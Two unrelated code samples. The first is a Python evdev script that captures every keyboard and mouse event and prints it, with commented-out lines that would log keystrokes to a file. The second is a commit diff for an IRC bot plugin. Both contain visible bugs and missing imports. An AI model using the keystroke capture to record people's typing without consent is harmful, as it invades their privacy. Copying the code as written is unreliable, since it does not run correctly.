# Regular expressions library to catch the keys inside the events
#import re
import time

#evfmt = 'time {:<16} type {} ({}), code {:<4} ({}), value {}'
minimal_evfmt = '{},{},{}'

# This list is to enter the strings in uppercase that we want to search
wanted_devices_string_list = ["MOUSE", "KEYBOARD"]
# This dictionnary is to save the devices that maps with our strings
interesting_devices_dict = {}
# This mapping maps each device to /dev/input/eventX
devices = map(InputDevice, list_devices())

# Actual time to give name to the text file of records
now = time.time()
textfile_name = "logs_" + str(int(now))
#print textfile_name
# A new list to save only the wanted devices
wanted_devices_list = []
# Searching in all the devices
for dev in devices:
	# Converting device names to uppercase to process well
	name_upper = dev.name.upper()
	# Iterating over our wanted strings
	for wanted_string in wanted_devices_string_list:
		# Searching our string in the names of the devices
		if wanted_string in name_upper:
			# Saving in the dictionnary
			interesting_devices_dict[wanted_string] = dev
			# Put all the wanted devives in the new tuple
			wanted_devices_list.append(dev.fn)
	#print( '%-20s %-38s %s' % (dev.fn, dev.name, dev.phys) )

# Searching in all the interesting devices
#for key, device in interesting_devices_dict.iteritems():
	# Mapping all the capabilities of the device
	#print "%s\n%s" % (key, device.capabilities(verbose=True))

# Mapping only our interesting devices
devices = map(InputDevice, wanted_devices_list)
devices = {dev.fd : dev for dev in devices}

# This method is derived from evdev examples. It is very useful!
# This method only print from console the events.
def print_event_to_console(e):
        # If the type of the event is a marker to separate events
    if e.type == ecodes.EV_SYN:
        print('{}'.format(ecodes.SYN[e.code]))
        # SYN_MT_REPORT is to Multitouch Devices. In this case it is not necessary for the moment!
        # All these events are well described in https://www.kernel.org/doc/Documentation/input/event-codes.txt
    # If the type of the event is not a marker to separate events
    else:
            # If the type of the event is known in evdev code, print the string associated
        if e.type in ecodes.bytype:
            codename = ecodes.bytype[e.type][e.code]
        # If not, print unknown
        else:
            codename = 'UNKNOWN'
        # Print a message like "EV_MSC,MSC_SCAN,157" or "EV_KEY,KEY_RIGHTCTRL,1"
        print(minimal_evfmt.format(ecodes.EV[e.type], codename, e.value))
        #print(evfmt.format(e.timestamp(), e.type, ecodes.EV[e.type], e.code, codename, e.value))

# This method is derived from evdev examples. It is very useful!
# This method only print from console the events.
#event_ended = False
def print_event_to_txt(e):
	# If the type of the event is a marker to separate events
    if e.type == ecodes.EV_SYN:
        data = '{}\n'.format(ecodes.SYN[e.code])
        #event_ended = True
    # If the type of the event is not a marker to separate events
    else:
    	#event_ended = False
    	# If the type of the event is known in evdev code, print the string associated
        if e.type in ecodes.bytype:
            codename = ecodes.bytype[e.type][e.code]
            #print codename
       	    # if ecodes.EV[e.type] == 'EV_KEY':
           	#     if codename.startswith('KEY_'):
           	#     	print codename[4:]
        # If not, print unknown
        else:
            codename = 'UNKNOWN'
        # Print a message like "EV_MSC,MSC_SCAN,157" or "EV_KEY,KEY_RIGHTCTRL,1"
        #print(minimal_evfmt.format(ecodes.EV[e.type], codename, e.value))
        data = "%s - %s" % (codename, e.value)
        #print(evfmt.format(e.timestamp(), e.type, ecodes.EV[e.type], e.code, codename, e.value))
	return data

#with open(textfile_name + ".txt", "ab") as text_file:
# Reporting infinitelly over events from our interesting devices
while True:
	# Interface to Unix select() system call. http://docs.python.org/2/library/select.html
	r,w,x = select(devices, [], [])
	# searching only the interesting devices events
	for fd in r:
		for event in devices[fd].read():
			# Displaying the events categorized
			#m = outer.search(str(categorize(event)))
			#print m
			#print(repr(event))
			#print(event)
			#data = print_event_to_txt(event)
			#print str(data)
			#text_file.write(str(data))
			print_event_to_console(event)	<|endoftext|>


<commit_before># -*- coding: utf-8 -*-
# This file is part of tofbot, a friendly IRC bot.
# You may redistribute it under the Simplified BSD License.
# If we meet some day, and you think this stuff is worth it,
# you can buy us a beer in return.
#
# Copyright (c) 2015 Christophe-Marie Duquesne <chmd@chmd.fr>

"See PluginLag"
from toflib import Plugin, cmd
import datetime
import time

class PluginLag(Plugin):
    "Lag: time between a mention and the answer"

    def __init__(self):
        # A dictionary of nick -> dict
        # Values are like this:
        #  {
        #      "mentions": list(tuple<timestamp, author, msg, pending>)
        #      "previous_lag": timedelta
        #      "last_active": timestamp
        #  }
        self.data = {}

    def gc(self):
        "Limit memory usage"
        # don't watch more than 20 nicks
        while len(self.data) > 20:
            least_active_nick = max(self.data.keys(),
                    key=lambda x: self.data[x]["last_active"])
            del self.data[least_active_nick]
        # don' keep more than 5 mentions per nick
        for nick in self.data:
            while len(self.data[nick]["mentions"]) > 5:
                del self.data[nick]["mentions"][0]

    def set_active(self, nick):
        "Update the last moment the nick was active"
        # If the nick did not exist, add it
        if nick != self.bot.nick and nick not in self.data:
            self.data[nick] = {
                    "mentions": [],
                    "previous_lag": None
                    }
        self.data[nick]["last_active"] = datetime.datetime.now()
        self.gc()

    def on_join(self, chan, nick):
        "When a nick joins, mark it as active"
        self.set_active(nick)

    def add_mention(self, msg_text, author, to, pending=True):
        "Add a mention to the nick"
        self.data[to]["mentions"].append((
            datetime.datetime.now(),    # timestamp
            author,                       # author
            msg_text,                   # message
            pending                     # pending
            ))
        self.gc()

    def lag(self, nick):
        "Returns the time between now and the oldest pending mention"
        now = datetime.datetime.now()
        for m in self.data[nick]["mentions"]:
            timestamp, _, _ , pending = m
            if pending:
                return now - timestamp
        return None

    def handle_msg(self, msg_text, _chan, me):
        "Process mentions and update previous lag"
        self.set_active(me)

        words = set(msg_text
                    .replace(":", " ")
                    .replace(",", " ")
                    .strip()
                    .split(" "))

        # did I mention anybody?
        for nick in self.data:
            if nick != me and nick in words:
                self.add_mention(msg_text, me, nick)

        # update the lag
        lag = self.lag(me)
        if lag is not None:
            self.data[me]["previous_lag"] = lag

        # my mentions are no longer pending since I just answered
        for m in mentions:
            m[4] = False

    @cmd(1)
    def cmd_lag(self, chan, args):
        "Report the lag of the given nick"
        who = args[0]
        if who in self.data:
            lag = self.lag(who)
            if lag is not None:
                self.say("Le %s-lag du moment est de %s." % (who,
                    str(lag)))
            else:
                previous_lag = self.data[who]["previous_lag"]
                if previous_lag is not None:
                    self.say("Pas de lag pour %s (lag précédent: %s)." %
                            (who, str(previous_lag)))
                else:
                    self.say("Pas de lag pour %s." % who)
        else:
            self.say("Pas d'infos sur %s." % who)

    @cmd(1)
    def cmd_mentions(self, chan, args):
        "Report the recent mentions of the given nick"
        who = args[0]
        if who in self.data:
            self.say("Dernières mentions de %s:")
            for m in self.data[who]["mentions"]:
                timestamp, author, msg, pending = m
                status = "✗" if pending else "✓"
                time.sleep(0.5)
                self.say("[%s] %s <%s> %s" % (status, str(timestamp),
                    author, msg))
        else:
            self.say("Pas d'infos sur %s." % who)
<commit_msg>correctly invoking super class<commit_after># -*- coding: utf-8 -*-
# This file is part of tofbot, a friendly IRC bot.
# You may redistribute it under the Simplified BSD License.
# If we meet some day, and you think this stuff is worth it,
# you can buy us a beer in return.
#
# Copyright (c) 2015 Christophe-Marie Duquesne <chmd@chmd.fr>

"See PluginLag"
from toflib import Plugin, cmd
import datetime
import time

class PluginLag(Plugin):
    "Lag: time between a mention and the answer"

    def __init__(self, bot):
        # A dictionary of nick -> dict
        # Values are like this:
        #  {
        #      "mentions": list(tuple<timestamp, author, msg, pending>)
        #      "previous_lag": timedelta
        #      "last_active": timestamp
        #  }
        super(PluginLag, self).__init__(bot)
        self.data = {}

    def gc(self):
        "Limit memory usage"
        # don't watch more than 20 nicks
        while len(self.data) > 20:
            least_active_nick = max(self.data.keys(),
                    key=lambda x: self.data[x]["last_active"])
            del self.data[least_active_nick]
        # don' keep more than 5 mentions per nick
        for nick in self.data:
            while len(self.data[nick]["mentions"]) > 5:
                del self.data[nick]["mentions"][0]

    def set_active(self, nick):
        "Update the last moment the nick was active"
        # If the nick did not exist, add it
        if nick != self.bot.nick and nick not in self.data:
            self.data[nick] = {
                    "mentions": [],
                    "previous_lag": None
                    }
        self.data[nick]["last_active"] = datetime.datetime.now()
        self.gc()

    def on_join(self, chan, nick):
        "When a nick joins, mark it as active"
        self.set_active(nick)

    def add_mention(self, msg_text, author, to, pending=True):
        "Add a mention to the nick"
        self.data[to]["mentions"].append((
            datetime.datetime.now(),    # timestamp
            author,                       # author
            msg_text,                   # message
            pending                     # pending
            ))
        self.gc()

    def lag(self, nick):
        "Returns the time between now and the oldest pending mention"
        now = datetime.datetime.now()
        for m in self.data[nick]["mentions"]:
            timestamp, _, _ , pending = m
            if pending:
                return now - timestamp
        return None

    def handle_msg(self, msg_text, _chan, me):
        "Process mentions and update previous lag"
        self.set_active(me)

        words = set(msg_text
                    .replace(":", " ")
                    .replace(",", " ")
                    .strip()
                    .split(" "))

        # did I mention anybody?
        for nick in self.data:
            if nick != me and nick in words:
                self.add_mention(msg_text, me, nick)

        # update the lag
        lag = self.lag(me)
        if lag is not None:
            self.data[me]["previous_lag"] = lag

        # my mentions are no longer pending since I just answered
        for m in mentions:
            m[4] = False

    @cmd(1)
    def cmd_lag(self, chan, args):
        "Report the lag of the given nick"
        who = args[0]
        if who in self.data:
            lag = self.lag(who)
            if lag is not None:
                self.say("Le %s-lag du moment est de %s." % (who,
                    str(lag)))
            else:
                previous_lag = self.data[who]["previous_lag"]
                if previous_lag is not None:
                    self.say("Pas de lag pour %s (lag précédent: %s)." %
                            (who, str(previous_lag)))
                else:
                    self.say("Pas de lag pour %s." % who)
        else:
            self.say("Pas d'infos sur %s." % who)

    @cmd(1)
    def cmd_mentions(self, chan, args):
        "Report the recent mentions of the given nick"
        who = args[0]
        if who in self.data:
            self.say("Dernières mentions de %s:")
            for m in self.data[who]["mentions"]:
                timestamp, author, msg, pending = m
                status = "✗" if pending else "✓"
                time.sleep(0.5)
                self.say("[%s] %s <%s> %s" % (status, str(timestamp),
                    author, msg))
        else:
            self.say("Pas d'infos sur %s." % who)
<|endoftext|>